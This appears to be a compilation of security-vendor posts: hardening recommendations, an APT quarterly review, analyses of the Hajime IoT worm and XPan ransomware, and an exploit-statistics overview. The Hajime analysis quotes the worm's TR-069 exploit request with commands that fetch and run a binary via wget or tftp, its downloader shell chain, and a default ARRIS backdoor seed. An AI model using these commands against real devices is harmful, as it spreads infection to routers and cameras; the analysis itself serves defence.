  • Decrease a threat actor’s ability to access key network resources by implementing the principle of least privilege.
  • Limit the ability of a local administrator account to login from a local interactive session (e.g., “Deny access to this computer from the network”) and prevent access via a Remote Desktop Protocol session.
  • Remove unnecessary accounts, groups, and restrict root access.
  • Control and limit local administration.
  • Make use of the Protected Users Active Directory group in Windows Domains to further secure privileged user accounts against pass-the-hash compromises.

Workstation Management

  • Create a secure system baseline image and deploy to all workstations.
  • Mitigate potential exploitation by threat actors by following a normal patching cycle for all operating systems, applications, software, and all third-party software.
  • Apply asset and patch management processes.
  • Reduce the number of cached credentials to one if a laptop, or zero if a desktop or fixed asset.

Host-Based Intrusion Detection

  • Configure and monitor system logs through host-based intrusion detection system (HIDS) and firewall.
  • Deploy an anti-malware solution to prevent spyware, adware, and malware as part of the operating system security baseline.
  • Monitor antivirus scan results on a regular basis.

Server Management

  • Create a secure system baseline image, and deploy to all servers.
  • Upgrade or decommission end-of-life non Windows servers.
  • Upgrade or decommission servers running Windows Server 2003 and older versions.
  • Implement asset and patch management processes.
  • Audit for and disable unnecessary services.

Server Configuration and Logging

  • Establish remote server logging and retention.
  • Reduce the number of cached credentials to zero.
  • Configure and monitor system logs via a centralized security information and event management (SIEM) appliance.
  • Add an explicit DENY for “%USERPROFILE%”.
  • Restrict egress web traffic from servers.
  • In Windows environments, utilize Restricted Admin mode or remote credential guard to further secure remote desktop sessions against pass-the-hash compromises.
  • Restrict anonymous shares.
  • Limit remote access by only using jump servers for such access.

Change Control

  • Create a change control process for all implemented changes.

Network Security

  • An Intrusion Detection System (IDS) should:
    • Implement continuous monitoring.
    • Send alerts to a SIEM tool.
    • Monitor internal activity (this tool may use the same tap points as the netflow generation tools).
  • Netflow Capture should:
    • Set a minimum retention period of 180 days.
    • Capture netflow on all ingress and egress points of network segments, not just at the Managed Trusted Internet Protocol Services (MTIPS) or Trusted Internet Connections (TIC) locations.
  • Network Packet Capture (PCAP):
    • Retain PCAP data for a minimum of 24 hours.
    • Capture traffic on all ingress and egress points of the network.
  • Use a virtual private network (VPN):
    • Maintain site-to-site VPN with customers.
    • Authenticate users utilizing site-to-site VPNs through adaptive security appliance (ASA).
  • Use authentication, authorization, and accounting (AAA) for controlling network access.
    • Require Personal Identity Verification (PIV) authentication to an HTTPS page on the ASA in order to control access. Authentication should also require explicit rostering of PIV distinguished names (DNs) that are permitted to enhance the security posture on both networks participating in the site-to-site VPN.
    • Establish appropriate secure tunneling protocol and encryption.
    • Strengthen router configuration (e.g., avoid enabling remote management over the Internet and using default IP ranges; automatically logout after configuring routers; use encryption).
    • Turn off Wi-Fi protected setup (WPS), enforce the use of strong passwords, keep router firmware up-to-date; and
    • Improve firewall security (e.g., enable auto updates, revise firewall rules as appropriate, implement whitelists, establish packet filtering, enforce the use of strong passwords, and encrypt networks).
  • Conduct regular vulnerability scans of the internal and external networks and hosted content to identify and mitigate vulnerabilities.
  • Define areas within the network that should be segmented to increase visibility of lateral movement by an adversary and increase the defense in-depth posture.
  • Develop a process to block traffic to IP addresses and domain names that have been identified as being used to aid previous malicious activities.

Network Infrastructure Recommendations

  • Remove unnecessary OS files from the IOS/ASA devices. This will limit the possible targets of persistence (i.e., files to embed malicious code) if the device is compromised, and will align with National Security Agency (NSA) network device integrity (NDI) best practices.
  • Remove vulnerable IOS/ASA operating system files (older iterations) from the device’s boot variable (i.e., show boot or show bootvar).
  • Update to the latest available operating system for Cisco IOS and Cisco ASA devices.
  • On ASA devices, update Cisco Adaptive Security Device Manager to version 7.6.2 or later to reduce vulnerabilities and maintain consistent software versions on firewalls throughout the organization.
  • For ASA devices with the SSL VPN enabled, routinely verify customized web objects against the organization’s known good files for such VPNs, to ensure the ASA devices remain free of unauthorized modification.

Host Recommendations

  • Implement policies to block workstations-to-workstation remote desktop protocol (RDP) connections through group policy object (GPO) on Windows, or a similar mechanism.
  • Store system logs of mission critical systems for at least one year within a SIEM.
  • Review the configuration of application logs to verify fields being recorded will contribute to an incident response investigation.

Users Management

  • Immediately set the password policy to require complex passwords for all users (minimum of 15 characters); this new requirement should be enforced as user passwords expire.
  • Reduce the number of domain and enterprise administrator accounts.
  • Create non-privileged accounts for privileged users and ensure they use the non-privileged account for all non-privileged access (e.g., web browsing, email access);
  • If possible, use technical methods to detect or prevent browsing by privileged accounts (authentication to web proxies would enable blocking of domain administrators).
  • Use two-factor authentication (e.g., security tokens for remote access and to any sensitive data repositories);
  • If soft tokens are used, they should not exist on the same device that is requesting remote access (laptop), and instead should be on a telephone or other out-of-band device.
  • Create privileged role tracking;
    • Create a change control process to all privilege escalations and role changes on user accounts;
    • Enable alerts on privilege escalations and role changes; and
    • Log privileged user changes in the environment and alert on unusual events.
  • Establish least privilege controls; and
  • Implement a security-awareness training program.

Best Practices

  • Implement a vulnerability assessment and remediation program.
  • Encrypt all sensitive data in transit and at rest.
  • Create an insider threat program.
  • Assign additional personnel to review logging and alerting data.
  • Complete independent security (not compliance) audit.
  • Create an information sharing program.
  • Complete and maintain network and system documentation to aid in timely incident response, including:
    • network diagrams,
    • asset owners,
    • type of asset, and
    • an up-to-date incident response plan.

References

Revision History

  • April 27, 2017: Initial post

This product is provided subject to this Notification and this Privacy & Use policy.

APT Threat Evolution in Q1 2017

no-image

Kaspersky Lab is currently tracking more than a hundred threat actors and sophisticated malicious operations targeting commercial and government organizations in over 80 countries. During the first quarter of 2017, there were 33 private reports released to subscribers of our Intelligence Services, with Indicators of Compromise (IOC) data and YARA rules to assist in forensics and malware-hunting.

We continue to observe a sharp rise in the sophistication of attacks with nation-state backing and a merger of tactics, techniques, and procedures (TTPs) between APT actors and financially motivated cybercriminals. We have witnessed the Middle East becoming one of the major cyber battlefields. At the same time, during Q1 2017, the discovery of a new Wiper victim in Europe raised eyebrows and suggested that these kinds of destructive attacks have now spread beyond the Middle East.

In this report, we discuss the targeted attack highlights from the first quarter of 2017, and discuss some emerging trends that demand immediate attention.

Highlights in targeted attacks

Evolution of Wipers: a new weapon for APT actors

During the last few months a new wave of wiper attacks, mainly focused against Saudi interests, raised a red flag for many companies, and for a good reason. The new wave of Shamoon attacks apparently relied on stolen credentials from Active Directory for their internal distribution stage. The investigation of these attacks lead us to the discovery of a new wiper we called StoneDrill.

We believe both Shamoon and StoneDrill groups are aligned in their interests, but are two separate actors, which might also indicate two different groups working together.

Our technical analysis of StoneDrill lead to the discovery of old samples (2014) in our collection that share their base code with the new StoneDrill samples. Interestingly, these old samples were attributed to the NewsBeef (Charming Kitten) group. The similarities between samples include sharing the same credentials (username and password) for C2 communications, which establish a very strong link between them.

APT Threat Evolution in Q1 2017

Figure 1. Credentials used for C2 communication both in StoneDrill and NewsBeef samples

We believe that StoneDrill might be a more recent version of NewsBeef artifacts, effectively relating the known APT actor with this new wave of wiper attacks.

In addition, and related to the Shamoon attacks, we have collected different artifacts that might have been used by the actor during the first stages of attack. This first stage is critical, as credentials need to be stolen for the subsequent distribution of the malware at the victim’s premises.

Ismdoor is a backdoor found to be related to the Shamoon attacks, and might serve well for the attackers’ purposes. This tool was found mainly in Saudi Arabia and belongs to the oil and energy industry. The analysis revealed very interesting details about additional tools used by the attackers for lateral movement, which were mainly based in Powershell-based exploitation frameworks, following the trend of using fileless generic malware explained later in this report.

Finally, it is remarkable that we have detected the first victim of StoneDrill in Europe. The victim belongs to the energy industry, something which might be an indicator that this actor is spreading out of the Middle East. After attributing this wiper with what we believe might be a government-sponsored actor, this fact is highly worrying, as it might indicate a geopolitically-motivated spread of cyber-sabotage operations. This last assumption is yet to be confirmed.

Summary:

  • Wipers are now extending their geography

  • Wipers are now a part of the arsenal of APT groups. They can be used in destructive operations, as well as for deleting traces after a cyberespionage operation.

  • One of the modules used in the last Shamoon wave of attacks had ransomware capabilities, which might be considered another form of not-so-obvious wiping.

  • The fact that these destructive operations against energy companies might be related to some government sponsored APT actors is definitely worrying, and surpasses typical espionage operations.

BlueNoroff/Lazarus: bank robbery, evolved

A massive waterhole attack targeting Polish banks was publicly disclosed on 3 February, 2017. The attack leveraged the webserver of a Polish financial sector regulatory body, the Polish Financial Supervision Authority (www.knf.gov.pl), which was hacked and used to redirect users to an exploit kit. A very similar technique was used against the Mexican financial authority at the same time, and even if no other victims of this group were made public, it is very likely that more banks were also similarly affected.

Our analysis linked the attack with the BlueNoroff/Lazarus group, which has been responsible for multiple other bank attacks, including the famous Bangladesh bank heist. This waterhole attack revealed, for the first time, one of the strategies used by BlueNoroff for gaining a foothold in its target organizations. Although the attack didn’t use any zero days, the Flash Player and Silverlight exploit appeared to be enough to compromise a large number of banks, which were running on outdated software.

Indeed, we started tracking the BlueNoroff actor a long time ago. We originally saw this actor trying to infect banks in the South-East Asian region. BlueNoroff has developed a characteristic set of tools for lateral movement inside targeted organizations, and in several cases attempted tampering with SWIFT software for cashing out. This technique showed its enormous potential with the Bangladesh central bank heists, where attackers attempted to steal more than 900 million USD. In the February “Polish case”, we saw the group reusing these known lateral movements tools repackaged for their new wave of victims. This provided us with a high degree of confidence in attributing the attack to this actor.

Interestingly, the BlueNoroff group planted Russian words within the code, to derail investigators and avoid attribution. The code contained grammar errors a native Russian speaker wouldn’t make, and sentences were likely translated using online tools.

Summary:

  • We believe BlueNoroff is one of the most active groups in terms of attacks against financial institutions and is trying to actively infect different victims in several regions.
  • We think their operations are still ongoing, and in fact, their most recent malware samples were found in March 2017.
  • At the moment we believe BlueNoroff is probably the most serious threat against banks.

Fileless malware: enough for the job with no attribution

Avoiding attribution is one of the key goals for many APT actors, especially since a large number of operations have been exposed in recent last years. For the most sophisticated groups, the problem is that they already have their well established procedures, specially crafted tools and training, that do not always allow them to stay unnoticed.

But that is not the case for the not-so-big actors or cybercriminals. Rather than creating and having their own tools, these use generic tools that are good enough to complete an operation, and provide an evident economic advantage, with the added value of making both analysis of the incident and attribution to a particular actor more difficult.

Nowadays there is a large number of different frameworks providing cyber-actors with many options, especially for lateral movement. This category includes Nishang, Empire, Powercat, Meterpreter, etc. Interestingly, most of these are based on Powershell, and allow the use of fileless backdoors.

We have seen such techniques being widely adopted in the last few months. We find examples in the lateral movement tools used in Shamoon attacks, in attacks against Eastern European banks, and used by different APT actors such as CloudComputating, Lungen or HiddenGecko, as well as in the evolution of old backdoors like Hikit, which evolved to new fileless versions.

This trend makes traditional forensic analysis harder, traditional IOCs such as file hashes obsolete, application whitelisting more difficult, and antivirus evasion easier. It also helps to evade most of the log activity.

On the other hand, attackers usually need to escalate privileges or steal administrator credentials, they don´t usually have a reboot survival mechanism in the machines they want to infect, and they rely on accessing them when they are reconnected to the infected network. The use of standard tools in the victim environment might also limit their options. This new paradigm is still unfolding and the best practices from a defense perspective are currently not totally clear. However, we offer our recommendations in the final section of this document.

Summary:

  • No malware samples are needed for the successful exfiltration of data from a network.
  • The use of standard and open source utilities, combined with different tricks, makes detection and attribution almost impossible.
  • The determination of attackers to hide their activity and make detection and incident response increasingly difficult explains the latest trend of anti-forensic techniques and memory-based malware. That is why memory forensics is becoming critical to the analysis of malware and its functions.
  • Incident response in cases like this is key.

How to keep yourself protected

Exploiting vulnerabilities remains a key approach to infecting systems, therefore timely patching is of utmost importance – which, being one of the most tedious IT maintenance tasks, works much better with good automation. Kaspersky Endpoint Security for Business Advanced and Kaspersky Total Security include Vulnerability & Patch management components, offering convenient tools for making patching much easier, and much less time-consuming for IT staff.

Given the trend of using Powershell-based techniques, including bodiless malware scenarios, you need to make sure that your security solution is aware of such specifics. All tiers of Kaspersky Security Endpoint Security for Business as well as Kaspersky Security for Virtualization possess the broadest range of machine learning-powered detection techniques including those specifically taking care of malware using Powershell. Our behavioral System Watcher technology is also aware of specific Wiper activities like mass file deletion; after blocking the malware, its Rollback feature brings important user files back from their deleted state.

Still, it is necessary to understand that targeted attacks are dangerous not only because of their sophistication (which sometimes is not the case), but because they are usually well-prepared, and try to leverage security gaps unobvious to their targets.

Therefore, it is highly recommended that you arm yourself not only with prevention (such as endpoint protection) but also with detection capabilities, specifically with a solution that can detect anomalies in the whole network’s ongoing activities, and scrutinize suspicious files at a much deeper level than it is possible on users’ endpoints. Kaspersky Anti Targeted Attack is an intellectual detection platform that matches events coming from different infrastructure levels, discerns anomalies and aggregates them into incidents, while also studying related artifacts in a safe environment of a sandbox. As with most Kaspersky products, Kaspersky Anti Targeted Attack is powered by HuMachine Intelligence, which is backed by on premise and in lab-running machine learning processes coupled with real-time analyst expertise and our understanding of threat intelligence big data.

And the best way to prevent the attackers from finding and leveraging security holes is getting rid of them all, including those involving improper system configurations or errors in proprietary applications. For this, Kaspersky Penetration Testing and Application Security Assessment services can become a convenient and highly effective solution, providing not only data on found vulnerabilities, but also advising on how to fix it, further strengthening corporate security.

Hajime, the mysterious evolving botnet

Introduction

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.

Hajime is continuously evolving, adding and removing features over time. The malware authors are mainly reliant on very low levels of security.

In this blogpost we outline some of the recent ‘improvements’ to Hajime, some techniques that haven’t been made public, and some statistics about infected IoT devices.

ATK module improvements

First of all, let’s take a look at the changes made to the attack module recently. Currently, the ATK (attack) module supports three different attack methods which help to propagate the worm on different IoT devices:

  1. TR-069 exploitation;
  2. Telnet default password attack;
  3. Arris cable modem password of the day attack.

Of these three attacks, the TR-069 exploit is a new one, implemented recently by the attackers.

Technical Report 069 is a standard published by the Broadband Forum, which is an industry organization defining standards used to manage broadband networks. Many ISPs and device manufacturers are members of the Broadband Forum. TR-069 allows ISPs to manage modems remotely. TCP port 7547 has been assigned to this protocol, but some devices appear to use port 5555 instead.

The TR-069 NewNTPServer feature can be used to execute arbitrary commands on vulnerable devices. In order to do so, the exploit starts by connecting to port 7547 and then sends the following HTTP request:

GET / HTTP/1.1

Host: VICTIM_HOST:VICTIM_PORT

User-Agent: RANDOM_USER_AGENT

Content-Type: text/xml

Content-Length: 0

Where RANDOM_USER_AGENT is chosen from the following list:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7

After some checks, it sends the following request to trigger the vulnerability:

POST /UD/act?1 HTTP/1.1

Host: VICTIM_HOST:VICTIM_PORT

User-Agent: RANDOM_USER_AGENT

Content-Type: text/xml

Content-Length: BODY_LENGTH

SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version=”1.0″?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”http://schemas.xmlsoap.org/soap/envelope/” SOAP-ENV:encodinghttp://schemas.xmlsoap.org/soap/encoding//”>http://schemas.xmlsoap.org/soap/encoding/“>

<SOAP-ENV:Body>

<u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>

<NewNTPServer1>INJECT_COMMANDS</NewNTPServer1>

<NewNTPServer2></NewNTPServer2>

<NewNTPServer3></NewNTPServer3>

<NewNTPServer4></NewNTPServer4>

<NewNTPServer5></NewNTPServer5>

</u:SetNTPServers>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

The INJECT_COMMANDS can either be:

cd /tmp;tftp -l<INT_ARCH_ID> -r<INT_ARCH_ID> -g <SEED_IP_PORT>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

or:

cd /tmp;wget http://<SEED_IP_PORT>/<INT_ARCH_ID>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

Once the vulnerable device executes the commands specified in INJECT_COMMANDS, the device is infected and becomes part of the botnet.

Architecture detection

With the addition of the new attack vector as described above, it would make sense to improve the architecture detection logic. This is because Hajime doesn’t attack any specific type of device, but rather any device on the Internet with the exception of several networks (it does has some logic to speed up attacks on specific devices though – see the next section). And this is exactly what they did, though strangely enough this only holds for the Telnet attack.

Once the attack successfully passes the authentication stage, the first 52 bytes of the victim’s echo binary are read. The first 20 bytes, which is the ELF header, hold information about the architecture, operating system and other fields. The victim’s echo ELF header is then compared against a predefined array, containing the Hajime stub downloader binaries for different architectures. This way the correct Hajime-downloader binary that works on the victim’s machine, can be uploaded from the attacker (which is actually the infected device that started the attack).

But before this, the host and port that the malware will be downloaded from needs to be set. The Hajime stub downloader binary has these values filled up with 0xCC bytes by default. To solve this, they are fixed on the fly right before connecting.

Furthermore the downloader needs to be patched with the WAN interface’s name. The attackers have a clever trick, where they ‘echo’ the binary to a file (“.s”), set the WAN interface name and then echo the last part of the binary (see below).

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

(route -n | grep UG | grep lbr0 && echo -n lbr0 >> .s) || (route -n | grep UG | grep mta0 && echo -n mta0 >> .s)

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

./.s>.i; chmod +x .i; ./.i; rm .s;

exit

“Smart” password bruteforcing

Even though Hajime can attack any device, the authors nevertheless focused on some specific brands/devices. For example, if after opening a telnet session the welcome message contains one of the following words, then the bruteforcing starts with a specific username-password combination.

Password hint words:

(none)

host

Welcome to ATP Cli

STAR-NET ADSL2+ Router

Mdm9625

BCM

MikroTik

SMC

P-2612HNU

ipc

dvrdvs

F660

F609

One string that is not listed above is that of “ARRIS”, because if this string is found, the attack changes slightly. The Atk module uses a specially crafted password of the day for the Arris cable modem instead of using the static telnet passwords. The ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily password. The default seed is “MPSJKMDHAI” and many ISPs don’t bother changing it at all. After successful authentication the module gains access to a remote shell and can execute commands.

Victimology

While working on this blogpost, we collected statistics using three different methods:

  1. We had a honeypot with telnet open;
  2. We looked at the infected peers as DHT seeders;
  3. We looked at the infected peers as DHT leechers;

Of these three methods, the DHT leecher count proved to be the best. By announcing on the DHT network with a peer id similar to that day’s identifier of the configuration file we were able to be the “nearest” node and collected requests from almost every infected device.

The DHT seeder count is an inverse method; we were requesting the Hajime config and receiving the lists of seeding nodes. Due to the limitations of the DHT architecture we can see most of the leechers, but not most of the seeders. Therefore, the seeder data is of less relevance than the leecher data.

Geography of telnet attackers

Our honeypot registered 2,593 successful telnet Hajime attacks in 24 hours. 2,540 of them were from unique IP addresses, 949 hosts provided a payload and 528 had an active web server running at port 80/tcp.

Hajime, the mysterious evolving botnet

Distribution of attackers by country
Vietnam 509 20.04%
Taiwan 327 12.87%
Brazil 227 8.94%
Turkey 167 6.57%
Korea 150 5.91%
India 141 5.55%
China 97 3.82%
Russia 72 2.83%
Romania 69 2.72%
Colombia 58 2.28%
Mexico 54 2.13%
Others 669 26.34%
Total 2540

Victim device web server analysis

The HTTP server version is typically shown in the HTTP server response headers. After a little analysis we see that most of the victims turn out to be DVRs, followed by web cameras, routers, etc.

http header “Server” statistics
364 Server: uc-httpd 1.0.0
43 Server: WCY_WEBServer/2.0
9 Server: Boa/0.94.14rc21
4 Server: thttpd/2.25b-lxc 29dec2003
3 Server: Router Webserver
2 Server: GoAhead-Webs
2 Server: JAWS/1.0 May 26 2014
2 Server: nginx/1.4.4
1 Server: DNVRS-Webs
1 Server: IPCamera-Webs
1 Server: IPCamera-Webs/2.5.0
1 Server: JAWS/1.0 Aug 21 2013
1 Server: JAWS/1.0 Jul 9 2013
1 Server: JAWS/1.0 Jun 13 2013
1 Server: JAWS/1.0 Jun 25 2013
1 Server: JAWS/1.0 Mar 20 2014
1 Server: JAWS/1.0 May 13 2013
1 Server: Microsoft-IIS/7.5
1 Server: Web server
1 Server: WebServer
Web interface “title” statistics
315 NETSurveillance WEB
84 WEB SERVICE
37 NETSuveillance WEB
36 IVSWeb 2.0 – Welcome
21
9 main page
6 NEUTRON
4 WEB SURVEILLANCE
3 CPPLUS DVR –Web View
2 IVSWeb 2.0 – Добро пожаловать
2 IVSWEB_TITLE – IVSWEB_LOGIN_TITLE
2 replace
1 CPPLUS DVR–Web View
1 GIGA Security
1 IIS7
1 iProview Web 2.0 – Welcome
1 IVSWeb 2.0 – Hoş geldiniz
1 IVSWeb 2.0 – Witamy
1 WATASHI SERVICE

Geography of infected peers as DHT seeders

Throughout the research period, at least 15,888 unique infected boxes were revealed, though this number is not very accurate. All of them were seeding Hajime config.

Hajime, the mysterious evolving botnet

Distribution of infected boxes by country
Iran 2285 14.38%
Vietnam 1819 11.45%
Brazil 1102 6.94%
Turkey 911 5.73%
China 909 5.72%
Taiwan 805 5.07%
Russia 747 4.70%
India 642 4.04%
Korea 624 3.93%
Mexico 542 3.41%
Others 5502 34.63%
Total 15888

Geoip of infected peers as DHT leechers

This method revealed 297,499 unique infected hosts during the research period. All of them were requesting Hajime config.

Hajime, the mysterious evolving botnet

Distribution of leechers by country
Iran 58465 19.65%
Brazil 26188 8.80%
Vietnam 23418 7.87%
Russia 22268 7.49%
Turkey 18312 6.16%
India 16445 5.53%
Pakistan 14069 4.73%
Italy 10530 3.54%
Taiwan 10486 3.52%
Australia 9436 3.17%
Others 87882 29.54%
Total 297499

Conclusion

The most intriguing thing about Hajime is its purpose. While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven’t seen it being used in any type of attack or malicious activity. And maybe this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed through stdout while the new configuration is being processed:

Example message:

Hajime, the mysterious evolving botnet

Whether the author’s message is true or not remains to be seen. Nevertheless, we advise owners of IoT devices to change the password of their devices to one that’s difficult to brute force and to update the firmware if possible.

Kaspersky Labs products detect this threat as Backdoor.Linux.Hajime.

Appendix

Hardcoded IP subnetworks avoided by Hajime:

85.159.0.0/16 Ukraine; Region Vinnyts’ka Oblast’
109.201.0.0/16 Iran, Islamic Republic of; Region Tehran
77.247.0.0/16 Germany Virtela Communications Inc Amsterdam, NL POP
169.255.0.0/16 South Africa; Region Gauteng

0.0.0.0/8 IANA – Local Identification
3.0.0.0/8 General Electric Company
15.0.0.0/8 Hewlett-Packard Company
16.0.0.0/8 Hewlett-Packard Company
56.0.0.0/8 US Postal Service
224.0.0.0/4 Multicast

United States Department of Defense:

6.0.0.0/8
7.0.0.0/8
11.0.0.0/8
21.0.0.0/8
22.0.0.0/8
26.0.0.0/8
28.0.0.0/8
29.0.0.0/8
30.0.0.0/8
33.0.0.0/8
55.0.0.0/8
214.0.0.0/8
215.0.0.0/8

Private networks:

192.168.0.0/16
172.16.0.0/12
127.0.0.0/8
10.0.0.0/8
100.64.0.0/10
198.18.0.0/15

XPan, I am your father

While we have previously written on the now infamous XPan ransomware family, some of it’s variants are still affecting users primarily located in Brazil. Harvesting victims via weakly protected RDP (remote desktop protocol) connections, criminals are manually installing the ransomware and encrypting any files which can be found on the system.

Interestingly, this XPan variant is not necessarily new in the malware ecosystem. However, someone has chosen to keep on infecting victims with it, encouraging security researchers to hunt for samples related to the increasing number of incident reports. This sample is what could be considered as the “father” of other XPan ransomware variants. A considerable amount of indicators within the source code depict the early origins of this sample.

XPan, i am your father

“Recupere seus arquivos aqui.txt” loosely translated to “recover your files here” is a phrase that not many Brazilian users are eager to see in their desktops.

The ransomware author left a message for Kaspersky in other versions and has done the same in this one, with traces to the NMoreira “CrypterApp.cpp” there’s a clear link between different variants among this malware family.

XPan, i am your father

NMoreira, XPan, TeamXRat, different names but same author.

Even though many Brazilian-Portuguese strings are present upon initial analysis, there were a couple that caught our attention. Firstly, the ransomware uses a batch file which will pass a command line parameter to an invoked executable file, this parameter is “eusoudejesus” which means “I’m from Jesus”. Developers tend to leave tiny breadcrumbs of their personality behind in each one of their creations, and in this sample we found many of them.

XPan, i am your father

A brief religious reference found in this XPan variant.

Secondly, a reference to a Brazilian celebrity is done, albeit indirectly. “Computador da Xuxa” was a toy computer sold in Brazil during the nineties, however it’s also a popular expression which is used to make fun of very old computers with limited power.

XPan, i am your father

This is what cybercriminals think of your encrypted computer: just a toy they can control.

“Muito bichado” equals to finding a lot of problems in these type of systems, in this case meaning that the environment in which is XPan is executing is not playing fair and the execution is quite buggy.

XPan, i am your father

Lastly, we have the ransomware note demanding the victim to send an email to the account ‘[email protected]. Considering that the extension for all the encrypted files in this variant is ‘.one’ this seems like a pretty straightforward naming convention for the criminals’ campaigns.

XPan, i am your father

The rescue note in Portuguese.

Upon closer inspection, we discovered that this sample is nearly identical to another version of Xpan which used to be distributed back in November 2016 and used the extension “.__AiraCropEncrypted!”. Every bit of executable code remains the same, which is quite surprising, because since that time there were several newer versions of this malware with an updated encryption algorithm. Both samples have the same PE timestamp dating back to the 31st of October 2016.

The only difference between the two is the configuration block which contains the following information:

  • list of target file extensions;
  • ransom notes;
  • commands to execute before and after encryption;
  • the public RSA key of the criminals.

XPan, i am your father

The decrypted configuration block of Xpan that uses the extension “.one”.

The file encryption algorithm also remains the same. For each target file the malware generates a new unique 255-byte random string S (which contains the substring “NMoreira”), turns it into a 256-bit key using the API CryptDeriveKey, and proceeds to encrypt the file contain using AES-256 in CBC mode with zero IV. The string S will be encrypted using the criminals’ RSA public key from the configuration block and stored in the beginning of the encrypted file.

According to one of the victims that contacted us, criminals were asking for 0.3 bitcoin to provide the recovery key, using the same approach as they did with before: the user sends a message to a mailbox with his unique ID and patiently awaits for further instructions.

The victims so far are small and medium businesses in Brazil: ranging from a dentist clinic to a driving school, demonstrating once again that ransomware makes no distinctions and everyone is at risk. As long as there are victims, assisting them and providing decryption tools whenever possible is necessary, no matter the ransomware family or when it was created.

XPan, i am your father

Victims: we can help

This time luck is on the victims’ side! Upon thorough investigation and reverse engineering of the sample of “.one” version of Xpan, we discovered that the criminals used a vulnerable cryptographic algorithm implementation. It allowed us to break encryption as with the previously described Xpan version.

We successfully helped a driving school and a dentist clinic to recover their files for free and as usual we encourage victims of this ransomware to not pay the ransom and to contact our technical support for assistance in decryption.

Brazilian cybercriminals are focusing their efforts in creating new and local ransomware families, attacking small companies and unprotected users. We believe this is the next step in the ransomware fight: going from global scale attacks to a more localized scenario, where local cybercriminals will create new families from scratch, in their own language, and resorting to RaaS (Ransomware-as-a-service) as a way to monetize their attacks.

MD5 reference

dd7033bc36615c0fe0be7413457dccbf – Trojan-Ransom.Win32.Xpan.e (encrypted file extension: “.one”)
54217c1ea3e1d4d3dc024fc740a47757 – Trojan-Ransom.Win32.Xpan.d (encrypted file extension: “.__AiraCropEncrypted!”)

Exploits: how great is the threat?

How serious, really, is the danger presented by exploits? The recent leak of an exploit toolset allegedly used by the infamous Equation Group suggests it’s time to revisit that question. Several zero-days, as well as a bunch of merely ‘severe’ exploits apparently used in-the-wild were disclosed, and it is not yet clear whether this represents the full toolset or whether there’s more to come, related to either Equation or another targeted threat actor.

Of course, Equation Group is not the first, and is certainly not the only sophisticated targeted attacker to use stealthy, often zero-day exploits in its activity.

Today we are publishing an overview of the exploit threat landscape. Using our own telemetry data and intelligence reports as well as publically available information, we’ve looked at the top vulnerabilities and applications exploited by attackers.

We have examined them from two equally important perspectives. The first part of the report summarises the top exploits targeting all users in 2015-2016, and the most vulnerable applications. The second part considers the vulnerabilities exploited between 2010 and 2016 by significant targeted threat actors reported on by Kaspersky Lab: that’s 35 actors and campaigns in total.

Key findings on exploits targeting all users in 2015-2016:

  • In 2016 the number of attacks with exploits increased 24.54%, to 702,026,084 attempts to launch an exploit.
  • 4,347,966 users were attacked with exploits in 2016 which is 20.85% less than in the previous year.
  • The number of corporate users who encountered an exploit at least once increased 28.35% to reach 690,557, or 15.76% of the total amount of users attacked with exploits.
  • Browsers, Windows, Android and Microsoft Office were the applications exploited most often – 69.8% of users encountered an exploit for one of these applications at least once in 2016.
  • In 2016, more than 297,000 users worldwide were attacked by unknown exploits (zero-day and heavily obfuscated known exploits).

2015-2016 witnessed a number of positive developments in the exploit threat landscape. For example, two very dangerous and effective exploit kits – Angler (XXX) and Neutrino, left the underground market, depriving cybercriminals community of a very comprehensive set of tools created to hack computers remotely.

A number of bug bounty initiatives aimed at highlighting dangerous security issues were launched or extended. Together with the ever-increasing efforts of software vendors to fix new vulnerabilities, this significantly increased the cost to cybercriminals of developing new exploits. A clear victory for the infosec community that has resulted in a drop of just over 20% in the number of private users attacked with exploits: from 5.4 million in 2015 to 4.3 million in 2016.

However, alongside this welcome decline, we’ve registered an increase in the number of corporate users targeted by attacks involving exploits. In 2016, the number of attacks rose by 28.35% to reach more than 690,000, or 15.76% of the total amount of users attacked with exploits. In the same year, more than 297,000 users worldwide were attacked by unknown exploits. These attacks were blocked by our Automatic Exploit Prevention technology, created to detect this type of exploits.

Key findings on exploits used by targeted attackers 2010 -2016:

  • Overall, targeted attackers and campaigns reported on by Kaspersky Lab in the years 2010 to 2016 appear to have held, used and re-used more than 80 vulnerabilities. Around two-thirds of the vulnerabilities tracked were used by more than one threat actor.
  • Sofacy, also known as APT28 and Fancy Bear seems to have made use of a staggering 25 vulnerabilities, including at least six, if not more zero-days. The Equation Group is not far behind, with approximately 17 vulnerabilities in its arsenal, of which at least eight were zero-days, according to public data and Kaspersky Lab’s own intelligence.
  • Russian-speaking targeted attack actors take three of the top four places in terms of vulnerability use (the exception being Equation Group in second place), with other English- and Chinese-speaking threat actors further down the list.
  • Once made public, a vulnerability can become even more dangerous: grabbed and repurposed by big threat actors within hours.
